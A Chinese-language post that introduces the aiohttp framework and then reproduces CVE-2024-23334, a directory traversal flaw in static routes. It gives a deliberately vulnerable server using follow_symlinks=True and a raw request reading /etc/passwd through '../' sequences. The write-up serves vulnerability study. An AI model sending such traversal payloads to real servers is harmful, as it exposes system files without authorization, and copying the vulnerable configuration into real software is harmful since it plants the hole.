aiohttp简介
aiohttp
是一个基于 asyncio 实现的 Python HTTP 客户端和服务器框架。它提供了异步的 HTTP 客户端和服务器功能,能够处理高并发的网络请求。以下是关于aiohttp
的一些重要特点和用途:
基于 asyncio:
aiohttp
是基于 Python 的 asyncio 模块开发的,因此它利用了 Python 3.5+ 中引入的异步编程能力,支持异步 I/O 操作。HTTP 客户端:
aiohttp
提供了一个强大的异步 HTTP 客户端,可以发送 HTTP 请求并处理响应。它支持 GET、POST 等各种 HTTP 请求方法,同时也支持异步文件上传和下载。HTTP 服务器:除了客户端功能,
aiohttp
还可以用作 HTTP 服务器,可以构建基于 HTTP 协议的 Web 应用程序。它支持路由、中间件、模板渲染等常见的 Web 开发功能。WebSocket 支持:
aiohttp
还提供了对 WebSocket 的支持,可以轻松实现基于 WebSocket 的双向通信,用于实时通信或推送场景。异步性能:由于采用了异步编程模型,
aiohttp
在处理大量并发请求时表现出色,能够有效利用系统资源,提高性能。灵活性:
aiohttp
提供了丰富的 API 和配置选项,使得开发者可以根据需求定制和扩展框架的功能,从而满足各种复杂的应用场景。总的来说,
aiohttp
是一个强大且灵活的异步 HTTP 客户端和服务器框架,适合用于构建高性能、高并发的网络应用程序,特别是在需要处理大量 I/O 操作的情况下能够发挥出色的效果。
CVE-2024-23334 漏洞简介
使用 aiohttp 作为 Web 服务器并配置静态路由时,需要指定静态文件的根路径。此外,选项“follow_symlinks”可用于确定是否遵循静态根目录之外的符号链接。当“follow_symlinks”设置为 True 时,不会进行验证来检查给定的文件路径是否在根目录中。这可能导致目录遍历漏洞,导致未经授权访问系统上的任意文件,即使符号链接不存在也是如此。即,应用程序仅因安装代码而易受攻击,例如:
app.router.add_routes([
web.static("/static", "static/", follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability
])
影响版本
1.0.5<=aiohttp<3.9.2
漏洞复现
安装aiohttp库
pip install aiohttp==3.9.1
编写web启动文件
aiohttpServer.py
from aiohttp import web
async def index(request):
return web.Response(text="Hello, World!")
app = web.Application()
app.router.add_routes([
web.static("/static", "static/", follow_symlinks=True),
])
app.router.add_get('/', index)
if __name__ == '__main__':
web.run_app(app, host='127.0.0.1', port=8080)
python3 aiohttpServer.py 启动服务
发送payload
GET /static/../../../../etc/passwd HTTP/1.1
Host: 192.168.116.128:8080
Content-Length: 2